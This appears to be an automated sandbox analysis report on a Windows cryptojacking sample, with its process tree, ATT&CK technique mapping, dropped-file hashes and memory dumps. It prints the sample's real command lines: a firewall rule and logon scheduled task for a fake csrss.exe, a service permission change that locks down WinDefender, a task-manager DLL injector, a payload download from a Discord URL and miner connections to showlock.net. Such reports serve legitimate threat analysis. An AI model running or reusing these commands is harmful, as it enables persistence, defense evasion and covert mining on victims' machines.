PID 1260 wrote to memory of 4840	1260	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
PID 1260 wrote to memory of 4840	1260	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
PID 2264 wrote to memory of 3044	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
PID 2264 wrote to memory of 3044	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
PID 2264 wrote to memory of 3044	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
PID 2264 wrote to memory of 4212	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	cmd.exe
PID 2264 wrote to memory of 4212	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	cmd.exe
PID 4212 wrote to memory of 800	4212	cmd.exe	netsh.exe
PID 4212 wrote to memory of 800	4212	cmd.exe	netsh.exe
PID 2264 wrote to memory of 4064	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
PID 2264 wrote to memory of 4064	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
PID 2264 wrote to memory of 4064	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
PID 2264 wrote to memory of 5028	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
PID 2264 wrote to memory of 5028	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
PID 2264 wrote to memory of 5028	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	powershell.exe
PID 2264 wrote to memory of 500	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	csrss.exe
PID 2264 wrote to memory of 500	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	csrss.exe
PID 2264 wrote to memory of 500	2264	a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe	csrss.exe
PID 500 wrote to memory of 1668	500	csrss.exe	powershell.exe
PID 500 wrote to memory of 1668	500	csrss.exe	powershell.exe
PID 500 wrote to memory of 1668	500	csrss.exe	powershell.exe
PID 500 wrote to memory of 3812	500	csrss.exe	powershell.exe
PID 500 wrote to memory of 3812	500	csrss.exe	powershell.exe
PID 500 wrote to memory of 3812	500	csrss.exe	powershell.exe
PID 500 wrote to memory of 2228	500	csrss.exe	powershell.exe
PID 500 wrote to memory of 2228	500	csrss.exe	powershell.exe
PID 500 wrote to memory of 2228	500	csrss.exe	powershell.exe
PID 500 wrote to memory of 4928	500	csrss.exe	injector.exe
PID 500 wrote to memory of 4928	500	csrss.exe	injector.exe
PID 1904 wrote to memory of 364	1904	windefender.exe	cmd.exe
PID 1904 wrote to memory of 364	1904	windefender.exe	cmd.exe
PID 1904 wrote to memory of 364	1904	windefender.exe	cmd.exe
PID 364 wrote to memory of 4128	364	cmd.exe	sc.exe
PID 364 wrote to memory of 4128	364	cmd.exe	sc.exe
PID 364 wrote to memory of 4128	364	cmd.exe	sc.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
"C:\Users\Admin\AppData\Local\Temp\a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1260

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4840

C:\Users\Admin\AppData\Local\Temp\a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe
"C:\Users\Admin\AppData\Local\Temp\a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a.exe"
2⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2264

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3044

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4212

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:800

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4064

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5028

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:500

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1668

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4156

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
4⤵
PID:4784

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3812

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2228

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4928

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:520

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1904

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
5⤵
- Suspicious use of WriteProcessMemory
PID:364

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
6⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:4128

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:3472

C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
4⤵
PID:912

C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 7dbac624-6151-4ab8-81ec-f680f7b70789 --tls --nicehash -o showlock.net:443 --rig-id 7dbac624-6151-4ab8-81ec-f680f7b70789 --tls --nicehash -o showlock.net:80 --rig-id 7dbac624-6151-4ab8-81ec-f680f7b70789 --nicehash --http-port 3433 --http-access-token 7dbac624-6151-4ab8-81ec-f680f7b70789 --randomx-wrmsr=-1
5⤵
PID:620

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe -hide 620
5⤵
PID:2300

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:3584

C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
4⤵
PID:1224

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:3740

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:2868

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dgb1hfr1.z0d.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
Filesize
479KB

MD5
1001b6d32108d8ac5ce7d08eaf17a65e

SHA1
85f364000d8b50e14d7259805b1d35ea07f58b97

SHA256
f32a870a27f91416280b29623daac57b2272e879b013e192de0d5d1e2d17a748

SHA512
beaeb3a87045460c08b5214cf2a225d005bbf731a638aec52c7cceee1efab67f84265f3ceac1a79afd51546391b3494338a88892306572cb072b94d69c14c28c

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
Filesize
655KB

MD5
8ab21fe2e205211837990d5be6020ef9

SHA1
e5f2fde17b85e7f4d77f36004d21f6893704f38c

SHA256
b3acf1716906c6e0e5d668e58cdc4b57fb13ed438bca80578876c94bab760c04

SHA512
431bad060cc02a696cae1a84f4dee9445ead4af7e1313a5c2974ff3b5e98c296ee603a9f0a6cd9fd45302bbeab9752de61957aaca4faf7aa3b2c7e74833fbd53

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
Filesize
730KB

MD5
4b319c4ad9b900c51012836136a47d80

SHA1
40a68be5cb9a8e89bd54e1a00f26e1fdbf27c8fb

SHA256
9f5410f94dc1ec6ce582f223726950e6f7aed90b0378fb378481a622e8e1ca3e

SHA512
c3c9b5926ea41d5aa84437f57fde2a53070b7edb63fd8c36039706cb03d6b45449ddb4e4692b19edc73db208cf0cd77801be22c454601375babd5ee22a0fbf0c

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
Filesize
744KB

MD5
12c64b73afee0158534e6fc4bc953fbb

SHA1
d1745650659842fb3033f582145a67d5741077bc

SHA256
bb5136b70d3d7aaf9f56b61f46be7c99a99fdb99982b2e9c6554be4ed5e19ba7

SHA512
60e2700b865f441450e848aae0904dd165a52e95dc2d9fcd92991202a8170d97241f6c0540ae5dd6e0efe783668d555159219db94279caf82c331770b9131d9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
Filesize
657KB

MD5
d9111f0239cfa8a31251b6a026dff456

SHA1
7edbcbabc3bcb670e52c61663b92890588c3e16b

SHA256
244fa14bade7c6e138ffde5a3c17f4a77f0c02157ecad750c609c86b00a8976e

SHA512
7273a7dfc1d77d073fac0844226250dfc039b4efe5fe3a9509803bc315d0ddc9b6829ccc025aa3f0257bfa8b19263ac78fbd63a2d52753c4e679af6ffea1df81

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
Filesize
544KB

MD5
9bc1f066b206d5c07c76c81a315fa1e3

SHA1
de64e7a6e9235f672c48e4fc3debf754d4be5957

SHA256
f305abbba6a287424afd3f9064efc880fd1a8cb47f6812b39894748384a8b9ad

SHA512
549f879cc746a440c61b66d18e5bdc303c43c160cdffae96171ac65ab3caa1902ae76048fe1b939080f261971201e93210dbe61d3d2e241810bbbf6eb4368665

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
db01a2c1c7e70b2b038edf8ad5ad9826

SHA1
540217c647a73bad8d8a79e3a0f3998b5abd199b

SHA256
413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d

SHA512
c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
73c6ca88ac4b33fc7f20f0040d9d91fd

SHA1
5d67c28c28b9974a17e59dc2d24fd2737014bead

SHA256
eef7bbd28ba284bad351459765673b23aa03080acbcd0c5af1a8d6c4ef54192b

SHA512
b3bc5bf28f76f373e432cceed22b93b47c1bb2cd8e5b6bc742a148b606774b4a43bbc697ae7d2d1a8fe25a1a1e9dc68ee0b7da4e5a77a920cef1bdbb00a28f7f

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
bf7ee1ed3946f97289a5612a5a740b71

SHA1
c01f07acf7b5779d52d5491dbf82fe075314444c

SHA256
bae20cf68f097f6d55427501d6edebed4bd071a6345258ace14cb143f3da47a2

SHA512
c8527351081613f1fdae7ad144b5ca94715a0cc1e4053533273e48205390f6153ef0e27d8e0738b93e168bbaf5b1f07fe62d39ba64f88ed2bbebbb57846fe6b6

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
d8a8af0316aafe5728e3be46cf829d03

SHA1
f6d52467f2ee5a8b6412ef6e2e1c947e916c660b

SHA256
fd1942983af5975d95bcf3b8900a7b118fdbc11137c81a82fa91d8c498f52fc2

SHA512
ce621019114ea98b8fbe453075b7ee525c115e2bd984732d19f4dae2fe7af9bde773859b992f9fc3e97169b0328a2eefecb737635e3f866ab0d02f636c720d17

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
2655438ec6ccaabd0bcbe9565897becc

SHA1
24b86d7cba9c1e0fa422e8f3abd29845ea49ccd2

SHA256
90067a2378615c07b7693667a45aa61fd3f9802deea4872456cf4309e5a37bc9

SHA512
b910037462f5041b8c9562b5db994047e84e98d2645158d39fe9e0343df7f0b71c15007fc692dfab75e49a2ed12f2feb12538135eba4b51f0b45ab4691a0876c

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
df4a8cd7f5f93484aa1d5643244bd57a

SHA1
4b21a7eaca3137da5260eae39e3075a13185fc4c

SHA256
ce19571939e38a381a0949c7bce8a3479e9ed37aa4bafd3e0dd30e10a039f901

SHA512
284863f958e2ff6a2103abe5eef6a278c212d39281ba9e6fffcea92bab45e20f6f46cc3e329f3b06e9554c36c9483a86c615e4622101949a76e14a17c5f1f1c6

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
372ccb66bd8e7cb5ac545b320a7f0f73

SHA1
36962a09f0d248554ecacca4476e253f0ad14544

SHA256
d9cc2621d3aa03e8fc39688d7c2c6b3a8728ceaf4c00289f95ced003cbb11139

SHA512
006991b63ce21de5d924c3cde5691f14f7d13823a89f1f1309e32bce0e0a56b313edd2da03d3b58eeddeddfba2d5e4307c68ff18ee35934827b6aac076ffb9de

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
fa0167711c3a76529ff8a54b09bbc4cc

SHA1
a8f6d08d2c692905114ad266c6bf9ab1400b2e2c

SHA256
edcd85a80cd33ec03e35e544839c14cc8d3704a3c53d7ccec5cbb5b224007f3d

SHA512
d33c73798828386f641e5042c1ba262d18c951362615e580f2bb1395a3e0c8bfc13339c76d79febc55f1aef6b97ad536e951b0f6cd1ae2858aa797c5490b6ad0

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
18KB

MD5
d8b0207f30540be568ef395cda0376a4

SHA1
57307cf71d698316165038cfe2c8117cfeba4eef

SHA256
baeac57dcbb2e74bddf6a404f4aa31eaae6c76e3c91c23a573ef71354162b953

SHA512
0764414cdd66dca6e16655affe9201bf20c9029e7d90cf79572835a9b8a0ca9e3e65f77e27628fa25abe5155153fe602499f751777e3ea3e3ce3a2edd752b734

Download Submit
C:\Windows\rss\csrss.exe
Filesize
4.3MB

MD5
a44d1116f17c932856735b53646f90fc

SHA1
dc70589cdb3aac3a78d4d65ed889594d027c36e6

SHA256
a0ba24fab1e6e7ba3dc2b804c76610dd3c04630f973f409ac356ef08d8b5707a

SHA512
302b6f57dd740250a9e6497f810d7fc7b7851ec1e46a1d5d45f21b25fa2da999fc9925ccfd439dd94c384034ff3fc2d9fbfc59964dbb229cc77bc87c60a51e50

Download Submit
C:\Windows\rss\csrss.exe
Filesize
612KB

MD5
79af816879cc475c6afa5425cb142eb9

SHA1
36f305d35695911f10595a394cd55242142c9a62

SHA256
401ffba775299b659fab99702395b4d0a5a244156fa35869af839f55dbe5ff13

SHA512
e98b7332eb866d445d7ab6fd3a2b39d55dac58cda9acbc047335594eae48a33008f778f57d6850ec67a664deb5b81fcb8280045fcc1fb92cd34346b0452ea7a1

Download Submit
C:\Windows\windefender.exe
Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
memory/500-1826-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1804-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1830-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1828-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1834-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1824-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1822-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1820-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1818-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1816-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1814-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1812-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1810-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1808-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1806-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1832-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1802-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1800-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1798-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1836-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1789-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1838-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1840-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1842-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1538-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1844-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1848-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/500-1044-0x0000000002F00000-0x00000000032F9000-memory.dmp

Filesize
4.0MB

Download
memory/500-1045-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/620-2342-0x0000014E7B5F0000-0x0000014E7B610000-memory.dmp

Filesize
128KB

Download
memory/912-2344-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/1260-302-0x0000000002F10000-0x00000000037FB000-memory.dmp

Filesize
8.9MB

Download
memory/1260-2-0x0000000002F10000-0x00000000037FB000-memory.dmp

Filesize
8.9MB

Download
memory/1260-3-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1260-298-0x0000000002B00000-0x0000000002F06000-memory.dmp

Filesize
4.0MB

Download
memory/1260-301-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1260-1-0x0000000002B00000-0x0000000002F06000-memory.dmp

Filesize
4.0MB

Download
memory/1668-1051-0x0000000007E90000-0x00000000081E0000-memory.dmp

Filesize
3.3MB

Download
memory/1668-1048-0x0000000072F10000-0x00000000735FE000-memory.dmp

Filesize
6.9MB

Download
memory/1668-1053-0x0000000008470000-0x00000000084BB000-memory.dmp

Filesize
300KB

Download
memory/1668-1049-0x0000000007220000-0x0000000007230000-memory.dmp

Filesize
64KB

Download
memory/1668-1050-0x0000000007220000-0x0000000007230000-memory.dmp

Filesize
64KB

Download
memory/1904-1797-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2264-827-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/2264-1041-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/2264-305-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/2264-304-0x0000000002B10000-0x0000000002F15000-memory.dmp

Filesize
4.0MB

Download
memory/2264-582-0x0000000002B10000-0x0000000002F15000-memory.dmp

Filesize
4.0MB

Download
memory/2264-798-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/2868-1799-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2868-1803-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/3044-312-0x0000000007CA0000-0x0000000007CEB000-memory.dmp

Filesize
300KB

Download
memory/3044-333-0x000000006FD30000-0x0000000070080000-memory.dmp

Filesize
3.3MB

Download
memory/3044-310-0x0000000006A00000-0x0000000006A10000-memory.dmp

Filesize
64KB

Download
memory/3044-309-0x0000000006A00000-0x0000000006A10000-memory.dmp

Filesize
64KB

Download
memory/3044-549-0x0000000072FB0000-0x000000007369E000-memory.dmp

Filesize
6.9MB

Download
memory/3044-339-0x0000000006A00000-0x0000000006A10000-memory.dmp

Filesize
64KB

Download
memory/3044-338-0x0000000009200000-0x00000000092A5000-memory.dmp

Filesize
660KB

Download
memory/3044-332-0x000000006FCE0000-0x000000006FD2B000-memory.dmp

Filesize
300KB

Download
memory/3044-308-0x0000000072FB0000-0x000000007369E000-memory.dmp

Filesize
6.9MB

Download
memory/3044-311-0x0000000007720000-0x0000000007A70000-memory.dmp

Filesize
3.3MB

Download
memory/3044-331-0x000000007E690000-0x000000007E6A0000-memory.dmp

Filesize
64KB

Download
memory/4064-576-0x000000006FCE0000-0x000000006FD2B000-memory.dmp

Filesize
300KB

Download
memory/4064-795-0x0000000072FB0000-0x000000007369E000-memory.dmp

Filesize
6.9MB

Download
memory/4064-577-0x000000006FD30000-0x0000000070080000-memory.dmp

Filesize
3.3MB

Download
memory/4064-553-0x0000000072FB0000-0x000000007369E000-memory.dmp

Filesize
6.9MB

Download
memory/4064-575-0x000000007F300000-0x000000007F310000-memory.dmp

Filesize
64KB

Download
memory/4064-555-0x0000000006A60000-0x0000000006A70000-memory.dmp

Filesize
64KB

Download
memory/4064-554-0x0000000006A60000-0x0000000006A70000-memory.dmp

Filesize
64KB

Download
memory/4840-65-0x0000000008C10000-0x0000000008C86000-memory.dmp

Filesize
472KB

Download
memory/4840-73-0x000000007E540000-0x000000007E550000-memory.dmp

Filesize
64KB

Download
memory/4840-6-0x00000000042A0000-0x00000000042D6000-memory.dmp

Filesize
216KB

Download
memory/4840-7-0x0000000072EB0000-0x000000007359E000-memory.dmp

Filesize
6.9MB

Download
memory/4840-300-0x0000000072EB0000-0x000000007359E000-memory.dmp

Filesize
6.9MB

Download
memory/4840-8-0x0000000004290000-0x00000000042A0000-memory.dmp

Filesize
64KB

Download
memory/4840-281-0x0000000009BE0000-0x0000000009BE8000-memory.dmp

Filesize
32KB

Download
memory/4840-276-0x0000000009BF0000-0x0000000009C0A000-memory.dmp

Filesize
104KB

Download
memory/4840-83-0x0000000009C70000-0x0000000009D04000-memory.dmp

Filesize
592KB

Download
memory/4840-82-0x0000000004290000-0x00000000042A0000-memory.dmp

Filesize
64KB

Download
memory/4840-81-0x0000000009A70000-0x0000000009B15000-memory.dmp

